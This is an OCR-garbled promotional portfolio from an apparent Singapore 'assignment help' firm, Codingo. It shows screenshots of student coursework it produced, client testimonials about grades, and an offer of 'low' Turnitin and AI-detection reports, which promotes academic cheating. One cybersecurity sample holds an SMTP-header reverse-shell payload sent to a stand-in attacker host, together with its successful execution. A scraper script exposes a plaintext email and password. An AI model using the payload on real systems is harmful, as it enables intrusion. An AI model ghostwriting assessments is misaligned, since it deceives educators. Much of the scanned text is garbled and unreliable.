urn

printf ("

(stderr,
1;

hour_average(readings, april, 0);

daily mean_std(readings, april, 0);

hour_average(readings, may, 1);

daily mean_std(

readings, may, 1);

hour_average(readings, june,

month_datal

month_data[D

+ 2],

hour);

CSCI251 Assignment 3

The program's objective is to parse a text file containing unsorted, uncomputed, and duplicated
coordinate data related to points. Its primary task is to cleanse the data of duplicates and calculate either
the line length or the distance of each point from the origin (0, 0). Once the data is cleansed, stored, and
processed, the program should provide options to sort, display, and export the results into a text file, as
outlined in the assignment guidelines. The text file may contain various types of data, including
Point2D, Point3D, Line2D, and Line3D. When displaying and storing the data, the appropriate headers
must correspond to the data type being processed.

Program Design:

This application organizes instances of the four data types (classes) into four distinct vectors.
Furthermore, it retains both the original strings read from the file and the cleaned strings (free of
duplicates) obtained from the stored file. Regarding the four classes, each class will have its respective
operators overloaded and additional static methods for utilizing the <algorithm>'s sort function to
produce the desired output. The classes are implemented following the guidelines outlined in the
assignment document (Appendix B), as illustrated below.

Point2D Line2D
#x int - pt1: Point2D
#y int - pt2: Point2D
# distFrOrigin: double —>

# length: double

# setDistFrOrigin () # setlLength ()

+ Point2D (x: int, y: int)

+getX () :int
+getY () :int
+ getScalarValue () : double

+setX (x: int)
+setY (y: int)

T

+ Line2D (pt1: Point2D, pt2: Point2D)

+ getPt1 () : Point2D
+ getPt2 () : Point2D
+ geiScalarValue () . double

+ setPt1 (pt1: Point2D)
+ setP12 (pt2: Point2D)

Point3D

7

#2z int

Line3D

# setDistFrOrigin ()

+ Point3D (x: int, y: int, z: int)

e N e

- pt1: Point3D
- pt2: Point3D

# setLength ()

+ Line3D (pt1: Point3D, pt2: Point3D)




import pandas as pd

from sklearn.model selection import train_test split q n2
from sklearn.ensemble import RandomForestClassifier

from sklearn.metrics import accuracy score, classification report

from sklearn.feature_extraction.text import TfidfVectorizer

import joblib

import numpy as np
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8
inction to handle mi g values and feature engineering data = pd.read_csv("corporateCreditRatingWithFinancialRatios.csv"™)
import pandas as pd def preprocess_data(df, target_column, text_columns=None, numeric_columns=None): print(data.head(5))
from selenium import webdriver # W?iclr‘!ifkﬁx;=fa=- :of ‘ £d o NS e
from selenium.webdriver.common.by import By qf i df.flllna( ) 15 W ISEANGLE 155 1N ' . .
from selenium.webdriver.chrome.service import Service if ”“merlc—cél”mnS: ‘ e Rating Agency Corporation Rating \
from webdpiver_manager.chrome impopt ChromerivepManager for col in numePlC_COIUmnS: @ Standard & POOF'S Ratings SePViceS American States Water CO. A'
from selenium.webdriver.common.keys import Keys dffcol] = pd.to_numeri€(d¥[collsRerrors="coerce").fillna(@) 1 Standard & Poor's Ratings Services Automatic Data Processing Inc. AAA
from bs4 import BeautifulSoup 2 Standard & Poor's Ratings Services Avnet Inc. BBB-
import time ) R 3 Standard & Poor's Ratings Services California Water Service Co. AA-
) if text_columns: . ; .
}mDOPt 0s . for col in text _columns: 4 Standard & Poor's Ratings Services Cardinal Health Inc. A
Dot Togg1ng df[f'{col} length'] = df[col].apply(len)
Rating Date CIK Binary Rating SIC Code Sector Ticker Current Ratio \
i e . ™ < > ) # Define features (X) and target (y) ©@ 2010-07-30 1056903 o 4941.0 Utils AWR 1.1507
logging.basicConfig(filename="scraping_errors.log’, level=logging.ERROR) : X = df[numeric_columns + [f'{col} length' for col in text_columns]] if text_columns el 1 2010-09-16 8670 1 7374.0 BusEq ADP 1.1129
y = df[target_column].apply(lambda x: 1 if x == 'success' else 0) binar 2 2010-11-23 8858 1 5065.0 Shops AVT 1.9276
L : : : o . 3 2010-06-29 1035201 1 4941.0 Utils CWT 9.8358
driver = webdriver.Chrome(service=Service(ChromeDriverManager().install())) return X, y, df
? a7 4 2010-07-14 721371 1 5122.0 Shops CAH 1.2931
def login(): def vectorize text(X train, X test, text columns, vectorizer=None): ... [EBITDA Margin Pre-Tax Profit Margin Net Profit Margin \
url = "https://uat-care360.careerservices.sg/local/signup/signin.php" “heck if the specified text columns exist in the data 1 ... 23.9379 20.8699 13.5690
driver.get(url) missing columns = [col for col in text_columns if col not in X_train.columns] 2 3.6338 3.0536 2.1418
time.sleep(3) if missing_columns: 3 L. 27.9377 15.1135 9.0246
print(f"Warning: Missing text columns: {missing_columns}") 4 ... 1.5847 1.2304 9.6518

 Find the loein fo elements return None, None, vectorizer
email field = driver.find element(By.NAME, "email”) HpepeaeteC I ey
password field = driver.find element(By.NAME, "password")
email field.send_keys("tiffanyphua@trinax.sg")

password_field.send_keys("Tiffanyphua@trinaxl™)

password_field.send_keys(Keys.RETURN)
MPUB050 KalmanFiltar inn

time.sleep(5) # Wait for login to complete R oM

except Exception as e: 29 .3 Qalue 4 |

| value 5 value 6 |

. . 30 value 7 value 8 Interpolate . ‘

Error dUPlng 10gln: {e}“) for rate in dropout_rates:

31 y model = models.Sequential([

32 layers.Dense(128, activation='relu’, input_shape=(784,)),
layers.Dropout(rate),

33
34 & '+‘ layers.Dense(128, activation='relu’),

Hyperparameter tuning involves experimenting with different values for parameters like the learning rate, number of neurons, number of layers, and dropot

vectorizer = TfidfVectorizer(stop_words='english', max_features=1000) if vectorizel Although this project uses a simple model, tuning these parameters can be crucial for achieving optimal results.

For this project, let's tune the dropout rate. We'll use a dropout rate of 0.2, which means 20% of the neurons will be randomly dropped during training.

If you have the resources, you can perform a more extensive search using techniques like grid search or random search, or even use KerasTuner or other toc
do that with a simple loop (example code for manual tuning):

dropout_rates = [0.2, 0.3, 0.4]

o
cn

logging.error(

layers.Dropout(rate),

def COlleCt_SCFaplng_data_OHEOlng() . 35 layers.Dense(10, activation='softmax’

courses = ) 36 - \ : 1)
: 37

38

39

-t -t 1 metrics=["accuracy'])
achnine Ledrnin R |
41 print(f"Training with Dropout rate: {rate}")

model.compile(optimizer="adam’,
loss="sparse_categorical_crossentropy"’,

42 history = model.fit(train_images, train_labels, epochs=2@, batch_size=128, validation_split=8.2)
test_loss, test_acc = model.evaluate(test_images, test_labels)

43
aal
45

print(f"Test accuracy with Dropout rate {rate}: {test_acc}")

Training with Dropout rate: 0.2
Epoch 1/20

375/375 [ ] - 2s 4ms/step - loss: ©.4481 - accuracy: ©.8661 - val loss: 0.1665 - val_accuracy: 0.9508
. Epoch 2/20
ETAE A ) ] - 1s 3ms/step - loss: ©.1917 - accuracy: ©.9422 - val_loss: ©.1239 - val_accuracy: 0.9611
Epoch 3/20
' 375/375 | ] - 1s 3ms/step - loss: ©.1439 - accuracy: ©.9568 - val loss: ©.104@ - val accuracy: 0.9686
Epoch 4/20
375/375 [ ] - 1s 3ms/step - loss: @.1165 - accuracy: ©.9646 - val_loss: ©.0970@ - val_ accuracy: 0.9713
Epoch 5/20

375/375 [ ] - 1s 3ms/step - loss: ©.0974 - accuracy: ©.9700 - val_loss: ©.0841 - val_accuracy: ©.9747
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Your Folders

You have no folders yet. Start creating folders to organize your images!

© 2025 ML Image Training & Prediction. All Rights Reserved

Aocound type:
Account Stats

Starter hive

Overview
Tech Donalion

My Donations iz Result Welcome to Language Learning App
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Fdter Hems Avadable Items

Web Apps

BCODINGO:




Our Works

Programming Tasks

¢ original-version="18.1"

caption="cu

source-build="

datatype="1i

caption=
caption=
caption=

class= u' formula="'1

datatype
n' datatype="
datatype="s1

caption="Fl n' datatype

caption=
caption=
caption=
caption=
caption=
caption=
caption=
caption="W
caption=

dim-ordering=

Tableau

' datatype=
datatyp
' datatype=
datatype="
datatype

Relevance

through information that is not essential.

It is for this reason that the dashboard should be designed with only the most important
information relevant to the evaluation of business performance, never overloading the user with
too much information. Every chart and table points toward key metrics-ormap effectiveness of
sales channels, distribution of flight hours, or passenger traffic versus day of the week. This gives

decision-makers an immediate visual awareness of critical areas of business without having to sort

Resale * Last saved: 12/1/2024 at 221 PM ~ L Search

datatype= =" name|

Flight Performance & Passenger Insigﬁts

datatype="1in
datatype="
datatype="1

column= [ 1 deri

column=

column=

column="

Value

column="
column=
column="
column="
column=
column= 1" d

dim-percentage="

element

[federated.@zyhghu@ebbt8klae

[federated.@zyhghu@ebbt8klae

SALES CHANNEL

Interaction and Actions

File Home Insert Modeling View Optimize Help |& Share v
= =
BhoDBeO DR PR OEE B E 4
@ n l ' . @ Ly S + 4| s ’T\‘
Get Excel Data SQL Enter Dataverse Recent Transform Refresh New Text More New  Quick Publish
datav workbook hubv Server data sourcesv datav visual box wisualsv measure measure
Clipboard Data Queries nEert Calculations Sensitivity Share
(ocd (D Auto recovery contains some recovered files that haven't been opened. | View recovered files X Visualizations » Data >
» 008 &
@ mprovad v ] Build visual —
Eﬁ . R g4 i 4 ¥ - —_— [_h ‘ A Searfh
H M @ Premium Agar = — L,
, = - |
= ' @New Generation 9 04T arT : cala- -pricac-has
Lv!::; ' . ¢ w2 orom : u = : & resale-flat-prices-based
@ Apartman: b
@Masonatts E £ 01100 : E lﬂ.d E nlﬂ E lﬂﬂ -.."l
A 1671 : =
B Simplified L : B
07 1009 137018 19T 00 12 o
s onm o, P o M i iy e 3
B3 ] -
o TITY ﬁ %L OO E F
@NMode A i 4 E - —
®Agoined SEX QW Am»M@[E
®Ncode i AY B p
. flat model AY] E HHH @ R Yy
L ISRl g+
Sum of resale_price by flat_type Sum of resale_price L— ng E D Q
: i
) 3
"
;_ ' Values
B Add data fields here
g ] 0 IVI Drill through
"]
. Sum of fioor_area_sqm Cross-report (@on)
; ' ' Keep all filters On®
x
: i Add drill-through fields here
Measure Names x
M Flight Hour flat_type H
Num Passengers — g
Sheet 4 - . H
Hypothesis Testing -
Booking Flight Length N. 339‘! 1 of #I 69% D
Flight Day Comple.. Duration Of Stay s
Sun 927 14,453 24,003 v = =
Mon 1. T-Test: Gender vs. Entrepreneurial Intention
Tue 28,758
Wed 30,451
Thu 29,371
Fri 26,318 T-Test
Sat 1,487
MNum Passengers £ 2 ol
= Group Statistics
Wants Preferred Seat
of . gender N Mean Std. Deviation  Sid. Error Mean
Craating a naw company Male 798 4.56 1.902 067

Number of persenager

.

Interactivity within the dashboard enhances its usefulness by digging into the data

interactively and flexibly. The filter action of this dashboard enables one to personalize the view

[ PowerBi / SPSS

CODINGO;

(being an entrapreneun).  popgge 897 4.04 1,939 065

Independent Samples Test

Levene's Testfor Equality of

Variances t-test for Equality of Means
95% Confidence Interval of the
Significance Mezan Std. Errar Difference
F 3ig. t df One-Sided p Two-Sided p Difference Difference Lower Upper
Creating a new company Equal variances assumed 083 773 5.509 | 16483 | <001 | < 001 515 094 332 699
(being an entrepraneun).  gqua) variances not 5515 1677.002 <,001 <001 515 093 an 698

assumed

Independent Samples Effect Sizes

95% Confidence Interval

Standardizer® Paint Estimate Lower Upper
Creating a new company Cohen's d 1.922 268 172 364
(being an entreprensun). o os et eoraction 1923 268 172 364
Glass's delta 1.939 .266 169 362

a. The denominator used in estimating the effect sizes.
Cohen's d uses the pooled standard deviation.
Hedges' correction uses the pooled standard deviation, plus a correction factor
Glass's delta uses the sample standard deviation of the control (i.e., the second) group.

The first hypothesis tested was whether there is a significant difference in entrepreneurial intention
between male and female students. The independent samples T-Test results indicate that there is a

statistically significant difference between the two groups (t = 5.509, df = 1693, p < 0.001). Male
students have a higher mean entrepreneurial intention score (M = 4.56, SD = 1.902) compared to
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% Exercise 1 pL (kg/m3}
clear all; clc; o x
-C- o I
Calculate I based on given formula >
= 145; clL (JkgK)
Calculate A and T based on I -
= 250/(I + 100);
3 Vdot (mi/s
1/(5%I); (3
Time vector | Fopulatin:rn v. Time | | | |
= linspace(@, T, 1000); E ’ﬂ\ RmmWS/
1 E. Foxes
Original square wave function E | il
_original = zeros(size(t)); \ ﬁ
f original(tgiWBER + < T/2) = A; E | \ i
1
\ / \
% Plot for different N values | E
N_values = [5 10 20]; R \ _
figure('Position’, [100 100 1200 400]); .E &H
2 250 - N g
idx = 1:1ength(N_values) 5% L YR
= N_values(idx); H\ X '3
f_approx = zeros(size(t)); x\ / a N
| )
1 !
R Nz t". "-‘. ',.l' { '.\_.
% Calculate a®@ & * ' \ \ / / \ \ =
a0 = A/2; =0 N : 2 'S thik: f/ N’ /
f _approx = f_approx + a@; .. e i' -‘-. e | . 4 \\\\ 7.
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% Calculate Fourier series e ¢ <L o - - -
=N | | | | L |
% an = @ for all n (dUE‘ to odd - 3DP Collection 1 X L1 - Architectural - T‘EU = o ¢ " o
% bn calculation for odd n ol

= mod(n;2) == 1
bn = (2*A/(n*pi))*(1 - cos(n*

ANYSYS / MATLAB Simulink /[ Revit
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3.2 Particle Trapping Efficiency

Particle tracking showed that the filter effectively trapped particles ranging from 0.05 mm to 2 mm.
Configuration 1, over 95% of particles were successfully captured within the sand bed, indicating high filtrat
efficiency. Configurations 2 and 3, with smaller dimensions and higher flow velocities, demonstrated slightly redu

trapping efficiency due to increased particle re-entrainment.
L’
Inlet

2.  Schematic Drawing
Here is the exploded view of the Solar Neck Fan. The battery is installed on both the right
and left sides of the fan to distribute weight evenly. The solar panel is positioned on the

ganfeur-1
Valume Fashon (Sand-,
6.20a-01

567801
6 04e-01
d418-01
3.78e-01
3 16e-01
262e-01
1.080-01
1.288-01
5.208-02
0.00e=00

Inlet

Fig. 2. Sand Particles Trapping Configurations 1
3.3 Backwash Effectiveness

The backwash process was initiated once the pressure drop across the sand bed reached a predefined threshc
indicative of significant particle accumulation. The backwashing was effective in restoring 99% of the filter's origi
flow capacity within approximately 63 seconds in Configuration 1, demonstrating the system's ability to rapidly reco
and continue operations with minimal downtime.

F-E-8- i @ - Part1 SLOPRT Search Commands Q- ® 3.4 Visualization of Particle Movement and Removal
_ _ B @ W e —— g;i"ﬂ & lil| P .8 X Simulations provided detailed visualizations of particle movement during both filtration and backwash
Figure 18. Exploded view of Solar Neck Fan B cut | Wiard TES g;u:m:m P » s}:u f;;l:: " b phases. Figures illustrate the pathlines of particles as they entered, were trapped, and subsequently removed from

— : —~ sand bed. These visualizations were critical in understanding the dynamic interactions within the filter and
ents | Markup | Evaluate | MBD Dimensions | SOLIDWORKS Add-Ins | MBD | hani f partic] Al
S B o G : mechanisms of particle removal.
PEIPRB-©- v R O 4

The fan is custom-designed to match the motor type and the compact size of the neck fan,
ensuring effective air circulation. A total of 36 small holes are strategically placed near the
neck area to enhance airflow directed toward the user’s face, providing maximum cooling
efficiency. The backside of the fan accommodates the PCB and the on/off push button,
ensuring ease of access while maintaining a sleek design. This layout allows for an organized

Closed

coatous-3
Welame hackon (phace
& F0e-01

588001
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4 ate-01
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2. 158=01
282801
1,808-01
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0 0Des 00

Solidworks [ AutoCAD
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Fig. 4. Sand Particles Movement Configurations 1
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RCPT TO:<victim@target.com>
DATA

From: <attacker@evil.com>
To: <victim@target.com>
Subject: Test email

X-RCE: | /bin/bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1.

kali@kali: ~

File Actions Edit View Help

kali@kali: ~ X  kali@kalily X

HELDO att:
MAIL FROM: <a

92.168.197.4/4444 0561250 localhost Hello attacker.com

Exploit

/bin/bash - >6 /dev/tcp/192.168.197.4/64444 D561

. The following image will be displayed once the reverse shell has executed

successfully.

192.168.197.130: inv s host lookup failed: Host name lookup failure
0 ect to ll! l;E.ln.": fFrom 'UN"‘:N[”'N| [192.168.197.130] 41861

: g4~

Cybersecurity

CODINGO;

r.228can Triggering (ZAP Integration)

This code triggers an active or passive scan using ZAP
based on the user’s input and the output of the scan can
be export into PDF file format, providing a structured
summary of vulnerabilities and recommended
remediation steps.

Figure 7.2: Zap Integration Code
723 1 Get CVE

A critical feature of the system is querying the Common
Vulnerabilities and Exposures (CVE) database. The CVE
database provides details on known security
vulnerabilities. The system fetches CVE information for
vulnerabilities detected by OWASP ZAP. When ZAP
identifies a vulnerability but lacks a corresponding CVE
ID, the system queries an external API (such as Vulners)
using the vulnerability description or associated CWE
ID.

By leveraging external CVE databases, the system
provides detailed descriptions, severity scores, and
recommendations on how to address the identified
vulnerabilities.

HaY_Cloud

IRV VAR VNV \/v\

Internal Netwoﬁ) )I
| [ g | g /
Staff Laptops HR Server Research Server Data Encryption Server
5 ——
l ————— //’______;';— —
[DMZ ///
y |
Web Senrer K — Internet : > Firewall i
ll\ F-f
—
__Id_ﬂ_,-f”‘ff)ata Access
J—F"_'-'_'_FFF-_F
]
Application SEn.rer Database Ser\.rer

/\/\/\/\/\ AN SN A SN /\//

Task 2: Threat Landscape and Security Recommendations for HaY

Currently, with nation-wide test groups and sensitive medical information, HaY's infrastructure
places a huge demand on an organization to understand the threat landscape. First of all,
performing an appraisal of the current threat landscape is the first step in mitigating security
risks. Due to the sensitivity of the data they handle, healthcare organizations are very
susceptible to cyber threats. According to the Ponemon Institute (2020), there is a need for HaY
to take precautions against three major kinds of threats: data breaches, ransomware attacks,
and insider threats.

First, there is a high risk of data breach because HaY processes and stores medical and
personal health data from test groups across the country. Recently, hackers have targeted
healthcare organisations to steal personal information, which has a very high value in the black

read( connection_handle, buff,

if ( strncmp(“login”, buff, 5) == @
loggedin = 1 ;
printf( "Command: %s", buff ) ;
bzero( buff, MAX ) ;
sprintf( buff,"**Welcome to VDE Bank**\nEnter a ¢

write( connection_handle, buff, sizeof(buff) ) ;

strncmp(“balance”, buff, 7) == @ && loggedin ==
printf( "Command: %s", buff ) ;
bzero( buff, MAX ) ;
sprintf( buff,"Balance: %d\nEnter a command: ", balance ) ;

write( connection_handle, buff, sizeof(buff) ) ;

else if strncmp(“balance”, buff, 7)
printf( "Command: %s", buff ) ;
bzero( buff, MAX ) ;
sprintf( buff,"Please login to get a balance first.\nEnter a command: ") ;

write( connection_handle, buff, sizeof(buff) ) ;
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To design an automatic cocldall mixer.

How it works:
' +5V
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- C6 i o
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Project 1 Designing the Network Solution

Part 1: Designing the Basic Network

1. Network Diagram:

o A simple LAN layout using the provided devices:
m Router: Connects the entire network to the internet.
m Switch: Connects the internal devices to the LAN.
m Server: Centralized data storage and services.
m PCs (3), Laptops (2), Network Printer, and optionally Modem.
o Here's an example of how the IP addresses could be assigned in a private Class
C network (192.168.1.0/24):

Q3 BA@W,M]Hgh#'p:'qPiyM&2'SE7u& Q" Ffi2i 3\v]zprEIKW.j\Jeg=iC
X

Screenshot:

Ml 1znziccunzea:

G ddr View  Go Caphue  Anshyoe  Shinbo  bebphosy Wieekem Took  Hep

d m @ ® B LR i_!‘;—kqg[i.
, = =
R {drarwe comtaies ‘oo’
[ Time Sowrce Crestieation Fiedoco
i M, JERERT LF3 Be.0 004 M\:_I-l;'.”l Jrer i AR | Sead Arkeld Mbn-GA33d Loe-lded
168 B TER] 73160114 173960, 11 ] S, ACE| Seg-B Acks1d MineGilTd Lap-1450
3N 8, 1YSSEE T2 806, 0. 114 172.16.8, 418 L1 S, ALE] Sensd Arkald MEnsGAIR4 Lessidl
AP 1BA 20 1TR.06.0.104 e AT BT w©wr ALK Seas® Arks1d MEncEA)H Leezidsd
LT TRCT T ] LTD. 6.0, 404 EFDL 6.8, 318 R PEH, A0C| Seded Arkeld WEN-REIG Lore 1450
G V10 ARNETE BT, 160,004 VT35, 8,300 e P5H, ACK] Secel Ack-14 MineGddid Laneldis

[Stream Packa Muamberi 6]

[Comvaryation completencan: Complete, WITH B4TA (F1)]
[TCP Segwent Leni 1468]

BeguELE Marier: B [relative eoguancs nuntsr )

T cw Barlier (Fas]l 13L4011EER

[Hexs S quence Warber: 1968 [relatise sequencs runber}]
Achneuledpeeat Ranber: 14 [relstive sk punbes)
bl sdguent e [ras): 2T0DII0PEY

BB .. = Hesder LengThi 28 bytas (%
Flagn: Scbll (#90, ACE)

T e fnans, £480 vt

What are the packet numbers (in the pcap file) that triggered the IDS alert?

(Hint: Use Wireshark to search for the hex or ASCII string found in question 1)

2.
Device Quantity Assigned IP Address

Router 1 192.168.1.1 (Gateway)
Switch 1 192.168.1.2 (if managed)
Server 1 192.168.1.10
PCs 3 192.168.1.11 - 192.168.1.13
Laptops 2 192.168.1.14 - 192.168.1.15
Network Printer 1 192.168.1.20

Diagram Output: Create this layout in a tool like MS Visio or Draw.io, connecting all
devices to the switch, which is connected to the router for internet access. Label each
device with its IP address.
4. Internet Connectivity:
o Ensure the router has an active internet connection via a modem (optional) or
directly.
o Enable DHCP on the router to provide IP addresses if required or assign static
IPs as shown above.
o Reflection Example:
m "l ensured internet connectivity by configuring the router to serve as the
gateway (192.168.1.1) and connecting it to an ISP. The router distributes

Networking [ Linux
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After applying the following filter: “data == <hexadecimal-string>", | have foun

there are 2 frames that have the same hexadecimal string. The frame numbers
and 158.

Ml im=mcoaaca

fils e Vwew Go Capree fralge  Smsic lelephony  Wevles lock  Hel
imgw® Rt QesEi s Eanann
(] !ua_lJr_u)li‘lll‘mrul_n_:_.u)-ﬂl.'.']lull'l?ll_1rRIn_c??'_Dﬁwmyrmlﬂlmiﬁ_ﬂ??ﬂﬂhwuwl{ﬁﬂzﬁnlmum_m:!a_-_uéﬂ?nﬂf@ﬂ_.‘)llml 1 ‘ »“"- — " . s 1o St
[ — Source Destination Protoood Lengil ko
B Fd FISAET (I NN RETY iFrois eoini e 1914 S8E0 = 2435 [Fin, A0K] Sensl Arkeid wis=tSFid Less]dss
158 B4, Jivs] (Er S D BT (TN TN L] L 514 SRAE - 4403 [FSH, BE] Seqel Ack=id4 Wie=fdild Les-]468

[ Sequence Busber: LS8
Acknouledgaent Nusber: L4
Acknowlidgment musber (Fiu): 77082

BLEE ., = Fesder Length:
Flage: @eBpd (F5H, MK)

W Duta (L4 byTed)
Date []r S341505 3435 04545 6 Prad Tatc 5 et £5 15350 S TRETES Tk ing b TaTe3E3431917 St FdBF FrdBi1da sasiditadi 101 .
[T w

| T D oanaoa) 1450 eles

git — git command line interface
clone — commoand to clone git repository
[https-url] — git remote repository

Jhome/kali

cd — change current working directory
[dir] — destination directory

fhome/kali/nipe
install Tev T Confdg :=s

Loading internal logger. Log::Log4perl recomsmende

cpan — CLI for CPAN (repository of Perl modules)

install — install Perl modules

Try::Tityy — module that provides minimal error handling
Config:-Simple — module that provides read and write config files
JSON — module that provides JSON encoder and decoder

After installing all required tools, I need to connect the kali linux through nipe and check
anonymity. Before doing so, an additional tor service is required.

Jhome/kali/nipe

sudo — gaining superser access

apt — apt package manager command

install — install new package

tor — package for tor service

-y — pass installation confirmation (optional)

~{nipe

fetc/tor/torrcl]

sudo — gaining supernser access
nano — open text editor

/etc/tor/torre — tor configuration file

/home/kali/nipe

sudo — gaining superuser access
systemctl — system call for service

start — starting service
tor — applied service

# Actual IP address before connecting to Nipe
actual ip=%(get current _ip)

# Start Nipe
sudo perl nipe.pl start
sleep 5 # Wait for Nipe to establish the connection

# Get the spoofed IP address
spoofed ip=%(get current ip)
country=%(get current country)

# Check if the IP address has changed

if [ "$actual ip" == "$spoofed ip" ]; then
echo "Failed to connect through Nipe."
echo "Your IP address remains: $actual ip"
sudo perl nipe.pl stop
exit 1

else
echo "Connected through Nipe."
echo "Spoofed IP: $spoofed ip"

echo "Country: $country™
fi

~/nipe
u+x anonymity-check.bash

~/nipe
anonymity-check.bash
-rwxr--r-- 1 root root 595 Jun

~/nipe

sudo — gaining superuser access
chmod — change permission
u+x — allow root user as an owner of this file to execute it

~/nipe
./anonymity-check.bash
cted thrc Nipe.

ed IP: 220.101.16

Germany

sudo — gaining superuser access
Janonymity-check.bash — execute the script

SSH Remote Server and Scan Machine with User Given Domain/URI

Create a script named “scanning.sh” to get domain/url from user input and conne
server to scan target machine by given domain/url. At the end, it will log all scan |
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Codingo! Their team of experts Answer PhYSiCEi SECUI“iTy.dDCI
consistently delivers exceptional work. e ~» -

Thank you for your dedication and DOCX = 25 kB

professionalism!

Assignment Help Homework Helper

aq1 10:23 pm

Read All

Thanks 4653, &/

thank you. will have my business again. @ e

| js refered my fren recently

to do his essay

C(~e. @)y U

i deleted heh psps

oh yea, i shared your contact with my friend for help with
assignment.

Oh no worries 1596 auni pp

| got the message. Thank you so much for your referral
7:26 pm W&

yall alws do a amazing job i alws get A
September 16, 2024

HAHAHAHA

LTAP Summative 238748520 18/08/24, 15:43 85/100 &

hi! wanna update you! thanks for the work! got a really
satisfactory grade for this assignment!
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Awards

Carousell

ND CORPORATE
AUT

£XCR

m CarouBiz Certificate of Good Standing

THIS CERTIFICATE IS PRESENTED TO
CODINGO ASSIGNMENTS PTE. LTD.

pularkeywords and listing rankings,
yourcompetition|

opularsearches

coqingo
Business
Analytics

OF UEN
2023072462

The company was incorporated in Singapore under the Companies Act 1967 on

27 Feb 2023 and that the company is a EXEMPT PRIVATE COMPANY LIMITED BY
SHARES.

According to our computer records, the company is listed as LIVE COMPANY. Its
activity(ies) is/are listed as

CQrouséel

Primary Activity :  ONLINE MARKETPLACES FOR EDUCATION SERVICES (63203)
Yo u a re 7 ; ,,\"r-l. Secondary Activity :  DEVELOPMENT OF SOFTWARE AND APPLICATIONS (EXCEPT GAMES
- -

AND CYBERSECURITY) (62011)

mCQl'Ouse"

2024 Specialis

Fo . a
r exce{lence in Service‘;ds

Leads

*Unique number of buyers that interact with your live listings

|

TAN YONG TAT

ASST REGISTRAR OF COMPANIES & BUSINESS NAMES
eriy i if ¢
ACCOUNTING AND CORPORATE REGULATORY AUTHORITY VoY instantly if this document is

issued by ACRA
SINGAPORE

Authentication no.: K26550811D
RECEIPTNO. : ACRA250114004269 o - —
DATE : 14 JAN 2025
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Our Team

Jon

Founder
An ex-Google software engineer, he quit his
full-time job in 2018 and founded Codingo,
Singapore’s top Assignment Help Platform.

Lead Project Manager
Van takes the role of our lead project
manager. She ensures the backend Coders
and writers understand the exact deliverables
of your task, and ensures that they deliver by

Dam the deadline. Brycm
Lead Client Relations Lead Programmer & Writer
Dam values lasting relations and meaningful With a dual degree in Business Administration
connections. Client satisfaction is at the core & Computer Science, Bryan leads our 100+
of his day to day tasks. He treats every client strong team of coders and writers with day to
with utmost respect & prioritises their every day tasks. From Essays, Final Year Projects, to
request as soon as possible. python assessments and lab reports. No task is

too difficult for him. He is confident in getting it

GCODINGO; done




Our Team

CODINGO "

'u _'

Our Team Workmg @ our Paya Lebar Office

GCODINGO;

Our full-time programming and professional
writing team is based in Singapore and
works 24/7 in various shifts to ensure your
work is always attended to.

Over 100+ professionals and fresh graduates
from various industries were hand picked by
our founder. They have been carefully vetted
through a series of challenging interviews &
on-the-job tests to ensure only the best are
retained to work on your assignments.



How to Proceed? —

1. Send us your task files (through WA or Tele), let us
know the full requirements, budget and deadline.

2. We will negotiate a price with you based on your
requirements.

3. Upon 50% payment deposit, we will begin work.

GCODINGO;



What We Can Assure You

. Highest grades possible - set your desired grade and we will aim for it to the best of our abilities

. Timely delivery - our team does their best to ensure work is delivered on or before your deadline
. Free unlimited revisions

. Competitive price matching - Finding lower quotes? We will match the lowest by $10 lower

. 24[7 Customer service and queries - we will answer all your questions timely

o O b W N —

. Complete anonymity - your personal details & work are never shared and will be deleted from
our systems upon handover

~

. Complimentary FREE Turnltin & Al report with low similarities
8. One expert. One Task. - Each expert will only work on one task at a time - allowing for complete
focus, ensuring high quality and uniqueness
9. You will get a complimentary $10 return voucher after your first purchase with us
10. You will get a $5 referral bonus for every successful friend referred

1. You will get a free copy of our NTU & Top Local university notes
12. A lasting relationship - We are here with you for the entirety of your studies. Should there be any
concerns or special requests, do contact us right away! We will be delighted to assist.
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Thank you
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“Every student deserves the Best. ¢ Your education journey is in Safe Hands [.”

Contact Information Company Information
+65 94562307 Codingo Assighnments Pte Ltd
@codingosg UEN 2023072462

hello@codingo.sg 60 PAYA LEBAR ROAD, #07-54
www.codingo.sg PAYA LEBAR SQUARE, SINGAPORE 409051




